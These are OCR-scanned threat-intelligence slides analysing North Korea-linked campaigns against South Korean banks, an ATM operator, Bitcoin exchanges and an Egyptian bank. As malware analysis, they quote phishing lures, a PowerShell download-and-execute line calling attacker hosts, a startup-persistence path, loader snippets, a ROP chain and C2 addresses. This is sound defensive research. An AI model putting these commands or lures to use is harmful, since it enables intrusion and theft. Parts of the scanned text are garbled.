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BACKGROUND

Some backgrounds and related works



BACKGROUND

* Our observation shows that some nation-state actors are shifting their focus
to join the battle field of moneymule in the past few years.

Nation-state Attacker Cybercrime moneymule

Data Money
~N ~ ~N ~




BACKGROUND - who are they?

Targeted
Industry

Purpose

Historical
major
incidents

Related
Reports

Lazarus

Domestic government,
finance, broadcasting

Social chaos

e 2009 7.7 DDoS attack
on US and South
Korea

e 2011 DDoS attack in
South Korea

e 2013 320 DarkSeoul

e 2014 Sony Picture
Entertainment breach

2016 Operation
Blockbuster - Novetta

Bluenoroff

Global and domestic
financial institutes

Financial profit
motivation

e 2015-2016 SWIFT
banking attack

e 2017 Polish financial
supervisory
authority

e 2017 South Korea
Bitcoin companies

2017 Lazarus under the
hood - Kaspersky

Andariel

Domestic financial
institutes, IT companies
and large corporations.
Defense industry

Information gathering

e 2015 Attack Defense
industry

e 2016 Attack on cyber
command center

e 2017 South Korea ATM
breach

2017 Campaign Rifle —
South Korea Financial
Security Institute

Reaper

(aka APT37, Group123, Scarcruft, Geumseong121)

Financial institutes, Human
Rights, South Korean users

Information gathering

e 2016 Operation Erebus
e 2016 Operation Daybreak

e 2018 Flash 0-Day CVE-
2018-4878 Campaign

2018 Korea In The Crosshairs-
Talos

2018 APT37 - Firekye



BACKGROUND - Activity Timeline

2017/07

2016/02 -
2017/03 - South Korea Korbit

Bitcoin Exchange
Hacked

- Bangladesh Bank Heist
- South Korea
Conglomerates Hacked

- South Korea ATM

company hacked

2017/10

- Taiwan Far Eastern

International Bank
Heist

2017/02

- Watering hole on Polish
Financial Supervision
Authority website to
target 100+ banks in - WannaCry Ransomware attack
Europe - South Korea Labour Unions
2016/08 Websites Hacked

- South Korea Bithumb Bitcoin
Exchange Hacked

2017/05

- South Korea Ministry of

National Defense Hacked

2017/09

- South Korea Largest
Travel Agency
Hanatour Hacked

2018/02

- CVE-2018-4878 0-day
disclosed leveraged by

Reaper to attack
financial sector




I
THE MALWARES AND ATTACK CASES

from Lazarus, Bluenoroff and Andariel



* KOREA MAJOR BANK ATTACK BY BLUENOROFF

CASES



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Background

* Time:
* |[n March, 2017

* Target :
* One of Top 5 Banks in South Korea
* Employees of the bank (in charge of SWIFT system)

* Vulnerability:
* File sharing function in VDI program (it was a 0 day during that time)

* Damage:
* No severe damage due to the rapid detection
e 2 PCs infected



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

* The vulnerability — The Named Pipe file sharing feature in VDI

<Architectural overview of Host-Guest Communication Channel with named pipe >
https://blogs.technet.microsoft.com/windows_vpc/2009/10/13/using-a-host-guest-communication-channel-in-windows-virtual-pc/



KOREA MAJOR BANK ATTACK BY BLUENOROFF — Attack Vector

Network Environment

= Spear-phishing

Emails attacker

Employee’s PC Employee’s PC
for internal network use only ~ For accessing the internet
Computer Name Start with “pb” (Virtual Machine) p— |
Critical Data g
stolen C2 server
. VPPA Vlan B
(with critical data) (Connect to WAN)

(not connect to WAN)



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

 Evidence in the malware

I

VDI Software manufacturer insisted that
File Sharing functionality via NamedPipe was disabled.

However,
it was just hidden.

So
Attackers were able to use this functionality.



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

 Malwares
* Family:

 Manuscrypt (file name: corems.dll, amanuv.dll)

* Features :

1. Searching in the internal network for some specific hosts related to SWIFT network.
2. Activate NamedPipe of specific process (vmsal.exe)
» vmsal.exe : management process of virtual machine’s segregation program

» Stealing data from internal segregated network by using hidden NamedPipe file sharing
feature

3. Look for desired data and send them to C&C Server



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

* Malwares (corems.dll, amanuv.dll)

[ ]
[ ]

[ 1
[ 1

NamedPipe Set -> Connect -> Read -> Write



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

* Malwares (corems.dll, amanuv.dll)

Get NamedPipe Handle

[ petNamedipe Handke
State with Mode 0x0



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

* Malwares (corems.dll, amanuv.dll)



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

* Malwares (corems.dll, amanuv.dll)

0 4 8 12
Flag . Unknown Integer B Unknown Integer
12 16 20 24
File time VL‘ength of Filename Filename
Flag EOF (End of File) Flag
If (IsDirectory) : If (EOF) :
flag =“@QY.” eof_flag = ”;akak;”
Else:

flag= “:FZ:"



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

* Malwares (corems.dll, amanuv.dll)

C&C Configuration

C&C IPs hidden inside Registry Value



KOREA MAJOR BANK ATTACK BY BLUENOROFF - Malware

e Data send to C2 server

Encoded String

Decode Function

Decoded String

Accept: */*;

Content-Type: multipart/form-data; boundary=
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ko-KR

Content-Disposition: form-data;
name="board_id"

Content-Disposition: form-data;
name="user_id"

Content-Disposition: form-data; name="file1";
filename="img01_29.jpg"
Content-Disposition: form-data; name="file1";
filename="my.doc"

Content-Disposition: form-data; name="file1";
filename="pratice.pdf"

Content-Disposition: form-data; name="file1";
filename="king.jpg"

Content-Disposition: form-data; name="file1";
filename="dream.avi"



« ATM OPERATOR COMPANY BREACH a.k.a VANXATM
FROM ANDARIEL

CASES



VANXATM - ATM OPERATOR COMPANY BREACH

* Operation started from Feb. 2015 (Actual information leakage in March 2017)
e Target : ATM Operator Company (provide and manage 2000 ATM SK)

* Used vulnerability
* 0 day in antivirus program
* Misconfiguration and management between ATM machines and ATM update server

* Attribution
* Andareil Group

* Damage
* the number of leaked card information (Sept, 2016 ~ Feb, 2017)
=> Total 1.9m (After deduplication 230k)



VANXATM - ATM OPERATOR COMPANY BREACH



VANXATM - ATM OPERATOR COMPANY BREACH

* Process flow of VANXATM

0 day exploit

No authentication
to update files

Update malware
With FTP server

Inside ATM company

& (Losin )
GICITITD)

Unencrypted FTP
Account & password
Stored on ATM machine



VANXATM - ATM OPERATOR COMPANY BREACH

* Exploit tool (fs.exe)

* Scan antivirus
server’s service port

e Connect to the
server

e Send file [

 Run file




VANXATM - ATM OPERATOR COMPANY BREACH

* VAN _XATM.e
xe (Dropper

Type A) Dropping java.exe (RAT) &
javaupdate.exe (legit ATM program)

PDB Path



VANXATM - ATM OPERATOR COMPANY BREACH

 Suspicious files discovered from VANXATM C&C Server



* BITCOIN EXCHANGES HACKED FROM BLUENOROFF

CASES



BITCOIN EXCHANGES HACKING CAMPAIGN

* Trading volume of major Bitcoin Exchanges in South Korea
e ‘C’is the first char of Bitcoin Exchanges that is used for many company names

Incorporation 2014 Jan 2014 Aug 2013 July 2017 Apr
Number of Around 150 Around 80 Around 60 Around 20
employee

Number of coin type 10 7 5 12

Transaction Amount
per day(17.11.21. 735 million 84 million 120 million 29 million
USD)



BITCOIN EXCHANGES HACKING CAMPAIGN

* Four Bitcoin Exchanges were attacked

e Attacker impersonates the public institutes for phishing

* Public Prosecutors' Office, National Police Agency, Financial Security Institute, Major
Bank, etc.

* They used nine email accounts for attack

e 4 out of 9 were stolen email accounts, and 5 were confirmed created by the
attacker

* Mobile malware was deployed to bypass SMS authentication.

e Palo Alto - Operation Blockbuster Goes Mobile
* https://researchcenter.paloaltonetworks.com/2017/11/unit42-operation-blockbuster-goes-

mobile/
* McAfee - Lazarus Cybercrime Group Moves to Mobile Platform
* https://securingtomorrow.mcafee.com/mecafee-labs/lazarus-cybercrime-group-moves-to-

mobile/

e Sample Hash: (sha256)
22a279¢c5685d7¢c3e24c04580204a8a932b2909a77a549bdd7bcf7ead285efde9



https://researchcenter.paloaltonetworks.com/2017/11/unit42-operation-blockbuster-goes-mobile/
https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-cybercrime-group-moves-to-mobile/

BITCOIN EXCHANGES HACKING CAMPAIGN

* 25 people received phishing emails attached with malicious HWP files
during the campaign

* In Korea, HWP(Hangul Word Processor) is the most popular word processor as
MS OFFICE

* They used a vulnerability of Ghostscript
* Ghostscript is interpreter for postscript language
* Ghostscript is included in HWP
* removed in a current version by vulnerability issue
* |ts vulnerability could allow the arbitrary code execution
* Ghostscript can create files without vulnerability



BITCOIN EXCHANGES HACKED - Phishing Email Attack Vector

X .
[° B SMS verification ::;5u ' chr;:::cellzr;?es
Receive SMS infected mobile phone to infected = [p P & ~N
verification \ mobile '@'
Create email account 4 ) -ﬁ-
>
>
@ > —_— several times sent
attacker phishing emails \_ )
passthru server (07.05. ~ 08.08.)

connect email services

information gathering

v
A

control C2 server

C2 server



BITCOIN EXCHANGES HACKED — Attack Timeline

[FSI] Financial Security 11.Jul.2017 04.Aug.2017

Standardization ... Check Bcoin wallet

addresses in attached file

nondisclosure

<-Target changed-

10.Jul.2017 07.Aug.2017

[**bank] establishment

22.May.2017.

National Tax Service ...

of a pledge right ...

03.Aug.2017

06.J41.2017.

Sent a transaction log

nondisclosure



TARGETING BITCOIN EXCHANGES USERS — Before July, 2017

* A phishing email impersonated the National Tax Service
» Targeted users of Bitcoin Exchanges

2017.5.22. 04:54 PM
Hello,

This is special tax investigation team at National Tax

Service.
| attached a file that you need to prepare for tax

investigation.
You have to complete preparing until 10 am, 25 May.

Thanks

[Attached a malicious hwp file]




BITCOIN EXCHANGES HACKED — Before July, 2017

 Compares with Korean Major Bank Sample

if { strcmp{&String, (renst char =)&word 18

{

if { vhB & Bx18 )
1strcpyA{{LPSTR)MARKER vz, ":FZ:"}:
else
1strcpyA{{LPSTR)YMARKER vz, ":GY:"}:
*{ DUWORD =){MARKER vZ + L4} *{ DUORD =)&
*{ DUWORD =){MARKER vZ + B} *{ DUORD =)&
FileTimeToLocalFileTime{{const FILETIME =
v6 = LocalFileTime.dwHighDateTime;

Major Bank Sample

if § vl & Bx18 )
{

*({ WORD =)(wh + v3d) = ":I°;
*({ WORD =){vi8 + ul)
*({ WORD =){w3d + vl +
*( WORD =){vh + y3 +

}

else

{ -JH: LNRnN -I-}{I_IJ_!. + |_|3:i F "=t=
*{_WORD =)(u18 + ul)
*({_WORD *)(u3 + ul +
*{_WORD =)(ul + u3 +

Users of Bitcoin Exchanges Sample



BITCOIN EXCHANGES HACKED — CASE 1: IMPERSONATED as FSI

* After 2 months we found another sample related to Bitcoin Exchanges

* A phishing email impersonated the Financial Security Institute
2017.7.5. 09:59 AM

Hello,

We(FSI) are going to survey regarding the financial
security standardization.

| expect your active participation, so | attached a file
related to the survey.

news link : http://....

If you have any questions, please feel free to contact me.

Thanks,
FSI survey manager

[Attached a malicious hwp file(2017 the financial ...)]




CASE 1: IMPERSONATED as FSI — Malicious scripts in HWP file

* We could find ps (postscript) files in BinData of malicious HWP file

* They were compressed by zlib

=-f~) Root Entry

--[7 BinData
...[=] BINODO1.ps

..[5] BINODOZ2.ps

=-F) Scripts

..[5] DefaultiScript

~[=] |HwpSummarylnformation
-[=] Doclnfo

-] FileHeader

-=] Pnimage

-] ProText

Folder
Mame Size(B) Created
D BIMOOOL1.ps 1152 1601-01-01 23 09:00...

112074
243773

=] BINOOO2.ps
[ | BINOOO3 ps

1601-01-01 9._5,_1 09:00..
1601-01-01 27 09:00..

Hex Hex (Decompress)
0000 | b5 56 4b &6f 23 36 10 3e 3b 40 f£fe 03 2£f 05 ec c3 | .VEo.6.>;0../ ...
0010 | 26 Tc 3f 2e 05 48 8BS 42 0f 3d a0 68 0f bd 8 2 | &|?..H.B.] ... ..
D020 | dB 4a &2 ac 63 b% bé be Sb 22 cB 7f ef 50 14 65| .Jb.c....".l...e
0030 | d9 =5 26 69 Bb 25 40 88 £3 fe 38 1c Oe 75 bd 68 | ..&1.%@...8..u.h
0040 | 37 Bb 75 b7 ef 76 ab cd dd le f£fd B4 at £3 19 Sa | T.¥e Ve nnnnann.
0030 | de ce d0 a7 Sf£ 61 0% 3£ 74 75 £1 74 79 31 6% 1le | ... a. ty.tyli.
000 | 17 £7 €8 79 d8 a2 75 b3 b eb =2 11 0a B2 09 45| ..hy..u....-. .. E
0070 | ab ed B2 7% cc cc £9 72 8BS 52 a7 5e le Oc c2 ed | oo yae.Eoa™ona.
0080 | 88 a2 5d bk 3= a3 45 bb £d bbb 47 06 31 47 Sf 48| ..].-".E..... 1G.H
0050 | e2 €f Of dd €6a d32 35 bb af £3 £5 e5 c5 232 ba 01| .0..J.5...... 3..
00al | b7 68 d% deo S5e Se Sc 2f e7 dd be £7 49 30 &5 d5 | .h..™™V/ ... TI0..
Hex - Hex (Decompress)

0000 | 2f €3 &f €2 €3 61 74 73 74 72 €5 Ge &7 73 20 25 | /fconcatstrings %
0010 | 20 28 &1 25 20 28 62 29 20 2d 2e 20 28 €1 &2 25 (a) (b) -> (ab)
0020 | 20 20 04d Oa |7b 0d 0a 09 &5 78 &3 &8 20 &4 73 70 --{--.exch dup
0030 | 20 6c &5 6= €7 T4 68 20 20 20 20 0d 0a 0% 32 20 length -

0040 | 69 6= &4 &5 78 20 Bc 65 6e 67 T4 68 20 61 &4 64 | index length add
0050 | 20 73 74 72 €% &e &7 20 20 20 20 0d 0a 0% 64 75 string -..du
0060 | 70 20 &4 73 70 20 34 20 32 20 72 &f |6c bc 20 63 | p dup ¢4 2 roll c
0070 | 6£ 70 79 20 6c &5 Ge &7 74 &8 04 0z 09 324 20 24 | opy length...4 -
O0DBO | 31 20 72 &€f &c 6o 20 70 75 74 €5 62 74 65 72 76 | 1 roll putinterw
0050 | €61 &c 04 0Oa 7d 20 &2 &% 6= 64 20 64 65 66 0d Oa | al..} bind def..
00a0 | 2£ &4 €1 74 €1 732 74 72 €% 6e &7 20 31 30 32 34 | /datastring 1024




CASE 1: IMPERSONATED as FSI — Files

@ Attached |—
> | —

Create/Drop @
B C -

HWP BINOOO1.ps HncCheck.Ink

malicious Execute
document
Create/Drop
> PS >
BIN0002.ps HncBB80.bin
Trojan Downloader
Run shellcode
> & Decode downloader &

BIN0003.ps inject into memory



CASE 1: IMPERSONATED as FSI—- Postscript

* BINOOO1.ps

* |t makes a shortcut at the path below

“%temp%\\..\\..\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HncCheck.Ink”

* HncCheck.Ink has included
“C:\Windows\System32\rundll32.exe %temp%\..\HncBB80.bin,MainCallBack”

* |tis a trigger to execute “HncBB80.bin” when victims reboot their PCs

* BINO0O2.ps will drop a binary file HncBB80.bin =» trojan downloader

(Cemp) getenv

{
Jpl exch def

F, — —_ - i . " L L L N i P D T A T PR I B . T SR, R T T I SRS Y g T AR, o TR —— T T o TR L TS, SR T .
JCONCaAaTELrings pi o | .. .. HO3miIng FMI1Crosort Y LTIOIO%WS Cart ren Frograms CarTup onciL. Neck.

Jbb (1) def
concatstrings (w) file /onA exch def




CASE 1: IMPERSONATED as FSI — Files

<@

Attached |—) Embedded Create/Drop
> _= > > N |
HWP BINOOO1.ps HncCheck.Ink
malicious
document
Create/Drop @
> >
BIN0002.ps HncBB80.bin
Run shellcode
> & Decode downloader &

BINOOO3.ps

inject into memory

Execute



CASE 1: IMPERSONATED as FSI — Postscript

* BINOOO3.ps

* If victim system has vulnerability in gs32dll.dll, it will be executed
* It has a xor key of 4-byte-length (0x77, Ox5D, Ox11, 0x72)
* Decoded the hex strings using xor key, then we got another postscript with

shellcode
1 JSvinzi { token pop exch pop } bind def
2 Jyaoshi <77501172> def
R 3 [Hfyima{
POSt Scrlpt 4 JEfunch exch def
5 A 0 1 funch length I sub {
& JSfunck exch def
T funch funcB 2 copy get vaoshi funckE = mod get xor put
XOR Encoded 8 -} for
, _ g funch
POSt Scnpt Wlth She”COde 10 —-1 def {:‘ICEFEEZI_ e 291b0E58 > ylma Vvinzi exec
11 @&t] DC1iw=RR0C 1 i IC ] I I
DT el TV ryB'?w'?'ﬂ?'? SUE
. o) 7. oo @ E a0
Embedded PE 32 bits /&K so- visn %iﬂ 'Jiﬂ:%iﬂﬁ AHZJAFRIE K33
W W W W ] T ::H_II"::L]: Clhi
Ll JC Lt DT ] r] (DL.F el D1 il L. F gl D |
A el 7 (A - | B i rF] ey | - 7
Embedded PE 64 bits rﬂ]-rw]-rw]-rw]-rw]-rw]-rw]r"’-' r’]-r
rﬂ\-rwl-rwl-rwl-rwl-rwl-rwl-r‘f:-t




CASE 1: IMPERSONATED as FSI — Postscript vulnerability

* BINOOO3.ps — (similar to CVE 2017-0261)
e gs32dll.dll is a necessary library for handling postscript
e postscript is processed as flow “read -> execute -> close”
* There is a vulnerability in "close" part of the flow
* Loads embedded PE and inject to a system process when shellcode was

CALL ROP Chain

ROP Chain start

executed
10068402 | 68 24612710 PUSH gsd1132.10276124 ) ASCII "s_std_close”
10068407 | 56 PUSH EST
100684D8| 50 PUSH EAX
FFDZ EDX gsd1132.10017082
10017082 | 94 XCHG EAX,ESP
10017083 | C3 RETN
75582886 | BBEC MOV EEP,ESP

. 75582B88 | FF75 14
Shellcode will get 75582B88| FF75 10

. e e 73582B8E FF7S O
a execution permission |7ssa2ga1| FF75 08

75582694 6A FF

m E& 09000000
75582B98| 5D

PUSH DWORD PTR 55:[EBP+14]
PUSH DWORD PTR 55:[EBP+10]
FUSH DWORD PTR 55:[EBP+C]

PUSH DwWORD PTR 55:[EBP+8]

PUSH -1
KERNELEA.VirtualProtectEx
POP EEP

pOldProtect .. MNULL

MewProtect .. PAGE_READWRITE|PAGE_EXECUTE |PA
S1ize .. Ox40

Address .. Ox00001F24

hProcess .. OxFFFFFFFF



CASE 1: IMPERSONATED as FSI — Agent Dropper

 When HncBB80.bin (downloader) and shellcode were executed
* Infected system information gathering and send them to C2

Receives data from C2(additional file download & execution)

But we did not get any additional files from C2

C2 is https://www].]kbautosys[.]Jcom

115[.]92[.]103[.]37

GET https: )/ www.kbautosys. com/include/form/goods. asp?idx=20 HTTP/1.1
Accept: =/=

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/s.0 (wWindows NT &.1; Trident/7.0; rv:11.0) like Gecko
Host: www.kbautosys.com

Connection: Keep-Alive

Find... (press Ctrl+Enter to highlight all})

Transformer Headers | TextView Syntaxview ImageView HexView WebView Auth

HTTP/1.1 404 Not Found

Date: Fri, 24 Nov 2017 17:00:37 GMT
Content-Length: 1466

Content-Type: text/html

server: Microsoft-IIS/ /6.0
¥X-Powered-By: ASP.NET




CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER

* Phishing Email Impersonated a National Police Officer

2017.8.4.10:08 AM

oz [N - - 20170804 (3) 2% 1
o= vz [ Hello.
Ei NzEs Bo 2ol This is a detective 000 at **** police station.
aa |7 assa Il 106 ke EjHERe AAGaXs @7 KE) Please check bitcoin addresses from attached
& excel file.

aekmks 0 =REel 000 | ES
2T WA Y =0 AN E EE 21 o
2o AFE0| 9o AT DR DITH 2 012 ZA S

L =
fu £
e T2
(o
=0
4
=
i
H
=

If you have any question, feel free to contact me

LABRASLIC by the following number.
Tel: o2
HP : o1 o-

Thank you.

[Attached a pdf file(Copy of identification card)]
[Attached a malicious xIs file(bitcoin transaction

log)]



CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER - Files

Attached> —
& -—

PDF
scanned ID card (benign decoy)

—1 Macro/Drop

> p— > EXE

XLS
malicious document

svchost.exe
(include another
custom encoded PE
downloader)



CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER —It’s not a hwp

* In this case, they used a excel file not a hwp file
* And they attached a pdf file(scanned a identification card)

* Unknown how they got a scanned ID card image

* Tried to increase credibility by scanned ID card



CASE 2: IMPERSONATED as A NATIONAL POLICE OFFICER

* Malware functionality is same as casel but C2 is not
Infected system information gathering and send them to C2
Receives data from C2(additional file download & execution)
But we did not get any additional file from C2

C2 is https://www][.Junsunozol.]org

49[.]239[.]189].]45

L il NWLaeLndr (Vs , B, ops2UHUOC, -1, oh
v8 = WinHttpOpen{&WideCharStr, 8, 8, 8, 8);
chSize = {DWORD)vE;
if { u8 )
1
if { WinHttpSetTimeouts{v8, 9600008, 20086, 90088, 98008) )
{

v9 = WinHttpConnect{(HIMTERHET }cbSize, L"www.unsunozo.orqg", 8x1BBu, 8);
hinternet = ud;

if { v2 )

1

v18 = WinHttpOpenRequest({v?, L"POST", v6, B, B, B8, BxBA0006u);
vi? = ui@;

if { vig )

{



* INTERESTING ATTACK TARGETED POSSIBLY BANK IN

I
I
I
I
I
I
I
|  EGYPT FROM REAPER
I

I

I

CASES



INTERESTING ATTACK TARGETED BANK IN EGYPT — Background

O bank is run by O group, which is based in Egypt

O group also runs K telecom, in charge of telecommunication in NK

Target has connection with O bank in NK and K Telecom and locate in Egypt.

O Group has shut down branch in NK in 2016 because of sanction.

* Target was targeted by attacker in 2017.

Operate

Operate
Decoy

KTelecom @ Target
File

Sample Connection




Campaign targeted Egypt bank and SK banks - Background

* We observed 2 interesting samples from target in May, 2017
* Both are exploits CVE 2017-0199 DOCX documents

* Upon opening the document, it connects to C&C server to download
HTA file containing malicious script

Downloading | Y ”ﬂ|

Downloading:
http://old.jrchina.com/btob_asiana/udel_cancel.php?fdid=VSM3XkpINmZWXjdjUzg3ZUpGM2dVOCIhPV4/Z1NCLi4=

‘ Cancel ‘




Campaign targeted Egypt bank and SK banks — Delivery Method

Exploit CVE 2017-0199 download HTA Powershell script

Powershell script to download Trojan downloader, loader and script

http://foodforu.heliohost.org/blog/apache.jpg

save as alitmp0131.jpg
(http://old.jrchina.com/btob_asiana/appach01.jpg)

http://foodforu.heliohost.org/blog/apache_backup.jpg

(http://old.jrchina.com/btob_asiana/appach02.jpg)  S2Ve 3 alitmp0132.jpg

http://foodforu.heliohost.org/blog/apache.ipp

(http://old.jrchina.com/btob_asiana/udel_ok.ipp) save as alitmp0133.js

C2 server

¥ B
7 [ G



Campaign targeted Egypt bank and SK banks — Powershell Script

html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtmll-transitional.dtd">
xmlns="http://www.w3.0org/1999/xhtml">
>
content="text/html; charset=utf-8" http-equiv="Content-Type" />
»Bonjour</ B
language="VBScript"> base64 decode hta
Set owFrCIN@gil = CreateObject("Wscript.Shell™)
Set vlymUkaljYF = CreateObject("Scripting.FileSystemObject™) $c=new-object System.Net.WebClient

. . . . . i $t =fenv:temp
If viymUkaljYF.FileExists{owFrCINOgil.ExpandEnvironmentStrings("%PSModulePa

owFrClN@gil.Run 'powershell -nop -windowstyle hidden -executionpolicy bypa $t1=$t+"\\alitmpe131.j
Al gBLAHQALgBXAGUAYgBDAGWAaQB LAGAAdAAKAACATABOACAAPQAKAGUAbgB2ADOAdABIAGOAC
wAGCcALgAgAAOACQAKAAKATABOADIAPQAKAHQAK WAL AFWAXABhAGWAaQBOAGBAC AAWADE AMwAYA
AMwAZzACAAagBzACTATAAKAAKACgATAHQACEBSACAACEATAACACQB7ACAACEATAACACOBLAGMAS| $t3=¢t+"\\alitmp@133.js"
mAG8AbwBkAGYAbwByAHUAL gBoAGUAbABpAG8AaABvAHMAJAAUAGSACgBNACSAY gBsAGBAZWAVA
AbABVAGEAZABGAGkABAB1ACEAIAAIAGEAdABOAHAAOgAVACBAZgBvAGBAZABmMAGBACgB1ACAAS|
jAGsAdQBWACAAagBWAGCATgAsACQAdAAYACKATAAKAAKACEATACQAYWAUAEQAbWB 3AGAABABYA c
AaQBvAGgAbwBzAHQAL gBvAHIAZwAVAGIAbABvAGCALWBhAHAAY(QBJAGEAZQAUAGKACABWACTAL
AHQAMWApACAACEAIAACACQB3AHMAY WBYAGKACABRACAAZQBAAGUAT AAKAHQAMWAZAACACQAK echo $c.DownloadFile( "hxxp://foodforu.heliohost.org/blog/apache.jpg”,$t1)
owFrCIN@gil.Run “"cmd /c echo VSM3XkpINmZWXjdjUzg3ZUpGM2dVOCIhPVA/ZINCL14=>%] $c .DownloadFile( "hxxp://foodforu.heliohost.org/blog/apache backup.jpg”,$t2)
End If

Self.Close B 64 d d $c.DownloadFile( "hxxp://foodforu.helichost.org/blog/apache.ipp"”,$t3)
By dSe ecoae

wscript.exe $t3

$t2=¢$t+"\\alitmpe132

try

id="oHTA" }
applicationname="Bonjour"
application="yes"




myStr = "B&4egvodujpo&39b&3:88csTuvso&31ofx&31BdujwlYPckTdul39b&3:88e84c&1e81b&1e&1bCR&4egvog

[ J [ ]
Campaign targeted Egypt bank and SK banks — Javascript
function(bl, b2, b3, ba) {
t = c.ExpandEnvironmentStrings({"%temp%") ;
s.Type = 1;
s1.0pen();
* Windows-KB271854-x86.exe (Milk

c = A("WScript.shell™);
s1 = A("ADODB.Stream");

fouTusjoht&39833836ufngl&3683383:84c&1e&1bd&3TSvo&39u3&3143cR318338318&3383183cR31c4&3dR&3118&3 s .Mode £

decode apache_ipp
o Th IPP f.l 1 d d try { s = A("ADODB.Stream");
e lle contalns encode 5
t1 = £ + "\\" + bi;
s.0pen();
s.LoadFromFile(t1);
Ioader) t = c.ExpandEnvironmentStrings("%temp®%");
bt&4eB&39&33BEPECA3TTusTbn&3383: 84c&1e&1bt284eBR&39&33BEPECA3TTusTbn&3383:84c81e81b&1e&1bdi e " . "
c = A("WScript.shell™);
e&1e81b&8e&1e81bDBAegvodujpol39c2&3dc3&3dc483dc583dcbi&3:81eR1b&8Bc&1e&1b&1e&1busz&1e&1b&BCA1E s.Type = 1;

function(a) {
= A("ADODB.Stream™);
t2 = t + b2;
* Windows-KB275122-x86.exe (trojan =1.Mode - 3;
s.Position = b4;
c.Run(t2 + " " + b3, @); } catch (e) {; 3}
fouTusjoht&39833836ufng&3683383:84c&1e&1bu284euf3c&3386d86dR3383cc284c8&1e&1bu38deul3cc384ch e e e e T
C&31TusTbn&3383:84c&1e&1b&1e81bd&4eB&39&33XTdsjqui&3Ttitmm&3383:84c&1e&1bulded&3TFygboeFowjsy s.Open();

return new ActiveXObject(a) };
c = A("WScript.shell™);
fake JPG files and save as:
L]
s1l.Type = 1;
s1l.Write(s.Read);
function(bl, b2, b3, b4, b5} {
:84c&1e&1b&1:81e81bt2&3TNpefl4ed84cle&1bt283TUzqTR4e284c81e81b1283TPgToR3983:84c&1e&1b&1e’ t1 = £ + "\\" + bi; # %temp%\\alitmpe131._jpg
6d&33&3cc284c81e&1bu384eul3cc384chkle&lbt&3fNpefiledfac&1e&1bt&3fUzqTa4e284cR1e&1bt&3fPgfod3Y sl.Mode = 3;

sl.SaveToFile(t2, 2);
try { s = A("ADODE.Stream");
c&1e&1b&1e&1bt28&3fXsjuf&39t&3fSTbe&3: 24c&1e&1bt2&3F ThwfUpGjmf&39u3&3d38&3:84c&1e&1bR&1e&1bd&A4 2 = t : b2; # FtempX\\alitmpBl32.jpe
&1bt2&3fPqfo&3983: &4c&1e&1b&1e&1bt&3fMpbeGspnGimf&39u28&3: 84c&1e&1bt&3fQptjujpo&3184e&31c5844 Sl s =l

f&39u3&3d383:84c&1eR1bTmfqR3921143 : &4c&1e&1bdR3TSvo&39u383183c&3183383183383183cR31c483d83 FLeLlEEnllF

1b&8e&1e&1b&8ef1eR1bC&39&33bmjungl242&3Tkgh&3383d&31&3386d&6dXjoepxt&3elLC38724483ey 973 T Ty T4
bmjunql24383fkqh&3383d83183386d86dXjoepxt&3eLC36284:6383ey9783F fyfa3383d83383383d676283
Eh |'||;
(k = 8; k < myStr.length; k++) eh String.fromCharCode(myStr.charCodeAt(k) 1)
eval(unescape(eh)}J

s.LoadFromFile(t1);
s.Position = b4;
sl.Write(s.Read);
s1.SaveToFile(t2, 2);

woom " T, T .
-—- — s r 2 = o

C{("alitmpel31.jpg”, "\ \Windows-KB275122-x86.exe"
C{"alitmp8l32_jpg",

"M\Windows -KB271854-x86 .exe™




Campaign targeted Egypt bank and SK banks — Trojan downloader

* Named Freenki Downloader by PaloAlto

* Freenki was discovered having overlap code with
ROKRAT, an malware used by Reaper.

* Need specific arguments to execute. Supporting 3
commands (script pass “help” command to execute)

Command Description
Hel Perform main function. Collects system information
P and beacon to C&C server.
console Setting up persistence in the registry
Perform console command function and later
sample

perform help command function when successes.

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32|}

= wescmp( ., L"help”);
if ( )
= = <o) I 1;
if ( tud )
help_command_f();
= Wwescmp( ., L"console”);
if ( )
:-I: {E']llls
if ( )
{
= wesemp( , L"sample™);
if ( )
= -( <o) I 1;
if (¢ )
{
= console_command_f():
if ( )
help_command_f();
}
}
else
{
= console_command_f();
}
return



Campaign targeted Egypt bank and SK banks — Trojan downloader

* Convert MAC address to hex string and use as victim ID

* Collects system information and beacon to C&C server

* Username>Computer Name>File version of kernel32.dlI>IsWow64Process() >

Ethernet MAC addresses>running processes
Report status MAC Address Encoded Victim Data

Stream Content

POST /blog/blog_confirm.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0;

SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC
6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)
Host: foodforu.heliohost.org

Content-Length: 441

Cache-Control: no-cache

Encode by SUB OF, XOR 21

1 00C299855? OTO[OWOAO 000t0{0w0~0.0.0q0.0e0W0A0.0&0.0.0.0%0&0 0.0.0.0.0 0.0.0;0:0
00qO- qo“o'o’ OCO#O#O%O"O ‘0.0c0A0Y0AQ] 0e0AD. OcOADYOAD] 0e0AD. OCOAOYOﬂO]OEOAO 0!
0&0. 0"0"0#0 0.0.0.0.0 0'0;0:0

O.DWOAOXOSOhO.OSOhOSO;0:0“OSOhO"O\O]ObOSObO.OSOhOSO;O:OWOTOOO_O.OSOhOSO;O:Gfﬂhﬂ1ﬂﬂﬂ

{000UOW0QOt0OW0a0Qo0. OSOhOSO 0:0 0b0]0Q0S0Oh0 0.0S0h0S0;0:0s0f0S0b0g0dOX0WOAQUO.0SOh0SO;0:
